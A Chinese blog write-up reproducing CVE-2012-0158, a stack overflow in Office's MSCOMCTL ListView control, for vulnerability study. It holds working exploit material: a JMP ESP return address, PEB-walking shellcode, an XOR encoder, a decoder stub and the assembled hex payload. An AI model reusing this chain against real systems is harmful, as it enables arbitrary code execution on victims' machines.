Loading... # 介绍 CVE-2012-0158漏洞是一个栈溢出漏洞,微软办公软件中MSCOMCTL.ocx中MSCOMCTL.ListView控件时,检测失误造成的,攻击者可以通过精心构造的数据控制程序EIP实现任意代码执行。 # 环境 漏洞分析环境与工具 操作系统:Win 7 专业版(32) 软件:office 2003 sp3 工具:x32DBG,IDA Pro # 漏洞成因 CVE-2012-0158漏洞触发在MSCOMCTL.ocx模块中,漏洞成因是在读取数据时,读取长度和验证长度都保存在文件中,可以由用户自己构造,进而触发栈溢出。 # 复现漏洞 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2132462685.png) 分析堆栈栈溢出的位置,的上面应该是刚才调用上一层函数的堆栈,溢出后可能已经可能已经被破坏,并且发现了mscomctl模块中的地址,判断刚刚执行了mscomctl模块。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3363643236.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/2183622504.png) 定位漏洞函数 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3554284076.png) 可以定位就是 0x275C8A05 这个CALL 出发了异常。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/327222514.png) IDA分析这个函数 ![image.png](http://www.irohane.top/usr/uploads/2021/01/585151795.png) 找到在文件中的长度 ![image.png](http://www.irohane.top/usr/uploads/2021/01/1532961212.png) 在POC中寻找长度字符串 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2557980005.png) 更改第一个8282 为 8283 小端方式存储, ![image.png](http://www.irohane.top/usr/uploads/2021/01/2305120135.png) 可以看到第一个参数为函数传的参数,那么第二个应该就是在里面比对的大小。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3797817487.png) 注意下方的 提示区域: ![image.png](http://www.irohane.top/usr/uploads/2021/01/1875667138.png) 从这里可以知道,造成溢出的原因是吧文本的大小存储到了文件中,导致文件大小被恶意修改之后,造成的溢出。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/2956272203.png) 返回到上层调用的函数。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/937282988.png) ![image.png](http://www.irohane.top/usr/uploads/2021/01/1269513174.png) 找到没有开启安全属性的DLL模块。 ![image.png](http://www.irohane.top/usr/uploads/2021/01/3785277100.png) 找到 0x72940000 -> MSVBVM60.DLL ![image.png](http://www.irohane.top/usr/uploads/2021/01/1734265236.png) 找到JMP ESP地址 0x729a0535 35059a72 ![image.png](http://www.irohane.top/usr/uploads/2021/01/239977357.png) 因为 ret 8 需要平栈 往下8个字符-在+C的位置设置为ShellCode ![image.png](http://www.irohane.top/usr/uploads/2021/01/3413095923.png) # ShellCode制作 ``` int main() { //__asm //{ // mov esi,dword ptr fs:[0x30]//esi=PEB 的地址 // mov esi,[esi+0x0c] // esi = 指向 PEB_LDR_DATA 结构指针 // mov esi,[esi+0x1c] // esi = 模块链表指针Ininit...List // mov esi,[esi] // esi = 访问链表中的第二条目 // mov ebx,[esi+0x08] // ebx = 获取Kernel32.dll 基址 //} __asm { PUSHAD SUB ESP,0x20 //开辟一段栈空间,增加健壮性 jmp tag_Shellcode //[tag_Next-0x4D] "GetProcAddress" 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 _asm _emit(0x47)_asm _emit(0x65)_asm _emit(0x74)_asm _emit(0x50)_asm _emit(0x72)_asm _emit(0x6F) _asm _emit(0x63)_asm _emit(0x41)_asm _emit(0x64)_asm _emit(0x64)_asm _emit(0x72)_asm _emit(0x65) _asm _emit(0x73)_asm _emit(0x73) //[tag_Next-0x3B/] "LoadLibraryExA" 4C 6F 61 64 4C 69 62 72 61 72 79 45 78 41 _asm _emit(0x4C)_asm _emit(0x6F)_asm _emit(0x61)_asm _emit(0x64)_asm _emit(0x4C)_asm _emit(0x69) _asm _emit(0x62)_asm _emit(0x72)_asm _emit(0x61)_asm _emit(0x72)_asm _emit(0x79)_asm _emit(0x45) _asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00) //[tag_Next-0x30] "user32.dll" 55 73 65 72 33 32 2E 64 6C 6C _asm _emit(0x55)_asm _emit(0x73)_asm _emit(0x65)_asm _emit(0x72)_asm _emit(0x33)_asm _emit(0x32) _asm _emit(0x2E)_asm _emit(0x64)_asm _emit(0x6C)_asm _emit(0x6C)_asm _emit(0x00) //[tag_Next-0x25] "MessageBoxA" 4D 65 73 73 61 67 65 42 6F 78 41 _asm _emit(0x4D)_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x61)_asm _emit(0x67) _asm _emit(0x65)_asm _emit(0x42)_asm _emit(0x6F)_asm _emit(0x78)_asm _emit(0x41)_asm _emit(0x00) //[tag_Next-0x19] "ExitProcess" 45 78 69 74 50 72 6F 63 65 73 73 _asm _emit(0x45)_asm _emit(0x78)_asm _emit(0x69)_asm _emit(0x74)_asm _emit(0x50)_asm _emit(0x72) _asm _emit(0x6F)_asm _emit(0x63)_asm _emit(0x65)_asm _emit(0x73)_asm _emit(0x73)_asm _emit(0x00) //[tag_Next-0xD] "irohane" 49 72 6F 68 61 6E 65 _asm _emit(0x49)_asm _emit(0x72)_asm _emit(0x6F)_asm _emit(0x68)_asm _emit(0x61)_asm _emit(0x6E) _asm _emit(0x65)_asm _emit(0x00) tag_Shellcode: //1. GetPc CALL tag_Next tag_Next: pop ebx //ebx = BaseAddr tag_Next的地址 //2. 获取当前模块基址 mov esi,dword ptr fs:[0x30] //esi = PEB的地址 mov esi,[esi+0x0c] //esi = 指向PEB_LDR_DATA结构体 mov esi,[esi+0x1c] //esi = 模块链表 Ininit...List mov esi,[esi] //esi = 访问链表中的第二个条目 mov edx,[esi+0x08] //edx = kernelbase.dll基址 在64位发生了变化 //3. 获取GetProcAddress的函数基址 push edx push ebx push edx call fun_GetProcAddress mov esi,eax pop edx //4. 获取LoadLibraryExA的函数地址 lea ecx,[ebx-0x3F] //LoadLibraryExW push edx push ecx //-lpProcName = loadlibraryExw push edx //hModule = kernel32.dll call eax //GetProcAddress //5. 调用Payload pop edx push ebx push esi push eax push edx call fun_payload //获取关键函数地址,返回值为关键函数地址 fun_GetProcAddress: push ebp mov ebp,esp sub esp,0x0c push edx //1. 获取EAT、ENT与EOT的地址 mov edx,[ebp+0x08] //edx =kernel32.dll 获取第一个参数 mov esi,[edx+0x3c] //esi =Image_DOs_HEADER.e_lfanew lea esi,[edx+esi] //esi = PE 文件头VA mov esi,[esi+0x78] //esi = IMAGE_DIR..EXPORT.virtualAddress 导出表 lea esi,[edx+esi] //导出表 mov edi,[esi+0x1c] //IMAGE_EXP...ORY.AddressOfFunctions lea edi,[edx+edi] //EAT VA mov [ebp-0x04],edi//Local_1 = edi = EAT VA mov edi,[esi+0x20] //edi = IMAGE_EXP...ORY.AddressofNames lea edi,[edx+edi] //edi = ENT VA mov [ebp-0x08],edi //Local_2 = edi = ENT VA mov edi,[esi+0x24] //edi = IMAGE_EXP...ORY.addressOfNameOrdinals lea edi,[edx+edi] //edi = EOT va mov [ebp-0x0c],edi //Local_3 = edi = EOT va //2. 循环比对ENT中的函数名 xor eax,eax jmp tag_FirstCmp tag_CmpFunNameLoop: inc eax tag_FirstCmp: mov esi,[ebp-0x08]//esi = Local_2(ENT) mov esi,[esi+4*eax]//ENT RVA mov edx,[ebp+0x08] //edx= Param_1 (IMAGEBASE) lea esi,[edx+esi] //esi = ENT va mov ebx,[ebp+0x0c] //ebx = Param_2 (BaseAddr) lea edi,[ebx-0x4D] //edi = "GetAddress" mov ecx,0x0e cld repe cmpsb jne tag_CmpFunNameLoop //如果不相等则继续循环比对 //3. 成功后找到对应的序号 mov esi,[ebp-0x0c] xor edi,edi mov di,[esi+eax*2] mov edx,[ebp-0x04] mov esi,[edx+edi*4] mov edx,[ebp+0x08] //返回获取到关键函数地址 lea eax,[edx+esi] //返回GetProcAddress 的地址 pop edx mov esp,ebp pop ebp retn 0x08 //Paly_load 攻击部分 fun_Payload: push ebp mov ebp,esp sub esp,0x08 mov ebx,[ebp+0x14] //1. 获取MessageBoxA lea ecx,[ebx-0x30] //kerner32.dll push 0 push 0 push ecx call [ebp+0x0c] //LoadLibFileName lea ecx,[ebx-0x25] //MessageboxA push ecx push eax call [ebp+0x10] //GetProcAddress mov [ebp-0x04],eax //2. 获取ExitProcess的函数地址 lea ecx,[ebx-0x19] push ecx push [ebp+0x08] call [ebp+0x10] //ExitProcess mov [ebp-0x08],eax //3. 显示Hello World lea ecx,[ebx-0xD] //irohane push 0 push ecx push ecx push 0 call [ebp-0x04] push 0 call [ebp-0x08] mov esp,ebp pop ebp retn 0x10 } } ``` ![image.png](http://www.irohane.top/usr/uploads/2021/01/614946574.png) ## 加密ShellCode 运行之后会生成 Encode.txt 文件,里面有记录异或的key和加密后的代码。cShellCode 是上面复制的 ``` #include <stdio.h> #include <tchar.h> #include <SDKDDKVer.h> bool AutoEnCoder(char* pData, int nSize) { // 1. 尝试不同的KEY进行加密,直到加密后不出现 0x00; int nOutKey = 0x00; unsigned char* pBuffer = nullptr; bool bComplete = true; pBuffer = (unsigned char*)new char[nSize + 1]; for (int key = 0; key <= 0xFF; key++) { nOutKey = key; bComplete = true; for (int i = 0; i < nSize; i++) { pBuffer[i] = pData[i] ^ key; if (0x00 == pBuffer[i] || 0x0A == pBuffer[i] || 0x0D == pBuffer[i] || 0x20 == pBuffer[i]) { // 如果加密后的字节为0x00直接跳出循环,用下一个KEY进行加密 bComplete = false; break; } } if (bComplete) { // 如果到了这里依然都是不为0的结果,那么说明加密完成。跳出 break; } } if (!bComplete) { // 全部找完还未加密完成直接不做接下来的操作 return false; } // 保存KEY和加密后的文本 FILE* fpOutFile; if (EINVAL == fopen_s(&fpOutFile, "Encode.txt", "w+")) { // 增加健壮 return false; } // 输出'Encode Key = 0xXX' fprintf(fpOutFile, "/* Encode Key = 0x%.2x */\n", nOutKey); // 输出加密后的字符数组 fprintf(fpOutFile, "char ShellCode[] = \\\n"); for (int i = 0; i < nSize; i++) { fprintf(fpOutFile, "\\x%.2X", pBuffer[i]); if ((i + 1) % 16 == 0) { fprintf(fpOutFile, "\"\\\n"); } } // 再输出一个 "; fprintf(fpOutFile, "\";"); // 完成,关闭句柄,释放资源 fclose(fpOutFile); delete[]pBuffer; return true; } char cShellCode[] = { "\x60\x83\xEC\x20\xEB\x48\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x49\x72\x6F\x68\x61\x6E\x65\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x52\x53\x52\xE8\x15\x00\x00\x00\x8B\xF0\x5A\x8D\x4B\xC1\x52\x51\x52\xFF\xD0\x5A\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xB3\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xD0\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xDB\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE7\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xF3\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2\x10\x00" }; int main() { AutoEnCoder(cShellCode, sizeof(cShellCode)); return 0; } ``` ![image.png](http://www.irohane.top/usr/uploads/2021/01/3021988572.png) ## 解密ShellCode 这里应该查看生成ShellCode的大小-然后填入相应的Key进行解密 ```cpp int main() { _asm { xor eax, eax; // GetPC call tag_Get_PC - 1; tag_Get_PC: retn; pop eax; // Decode lea esi, [eax + 0x1B];//这段代码的字节数,这段代码的字节数,之后保存的是要解密的ShellCode xor ecx, ecx; //计数器清0 mov cx, 0x135; //要解密ShellCode的大小 tag_Decode: mov al, [esi + ecx]; //按照索引找字节 xor al, 0x7; //逐字节异或key mov[esi + ecx], al; //解密后的字节放回原来的位置 loop tag_Decode; //循环ECX xor [esi + ecx], 0x7; //第一个字节也异或一次 loop会自减循环,到0会减少一次 jmp esi; } return 0; } ``` ![image.png](http://www.irohane.top/usr/uploads/2021/01/840462374.png) # 拼接ShellCode及演示 完整的ShellCode -| 加密后的ShellCode 前半段解密。完整版 ``` 33C0E8FFFFFFFFC3588D701B33C966B935018A040E340788040EE2F680340E07FFE66784EB27EC4F40627357756864466363756274744B6866634B6E657566757E427F460752746275343529636B6B074A62747466606245687F4607427F6E7357756864627474074E75686F66696207EF070707075C638C32370707078C710B8C711B8C318C510F555455EF120707078CF75D8A4CC6555655F8D75D54515755EF69070707528CEB84EB0B558C520F8C753B8A33358C717F8A33358C791B8A3B3D8E7AFB8C79278A3B3D8E7AFF8C79238A3B3D8E7AF334C7EC06478C72FF8C33818C520F8A33358C5A0B8A7CB4BE09070707FBF4A172E48C72F334F8618C3B418C52FB8C33BD8C520F8A03355D8CE25AC50F07528CEB84EB0F8C5A138A4CD76D076D0756F8520B8A4CDC5657F852178E42FB8A4CE056F8720FF852178E42FF8A4CF46D0756566D07F852FB6D07F852FF8CE25AC5170707 ``` 添加入POC 在地址后添加多个90909090 在汇编中为NOP,扩容一下。PS:起始没什么用,只是懒得计算O(∩_∩)O填充多个NOP 也就不影响了, ![image.png](http://www.irohane.top/usr/uploads/2021/01/1359230059.png) 注入成功-完毕 ![image.png](http://www.irohane.top/usr/uploads/2021/01/838361061.png) 最后修改:2021 年 01 月 19 日 © 允许规范转载 赞 0 如果觉得我的文章对你有用,请随意赞赏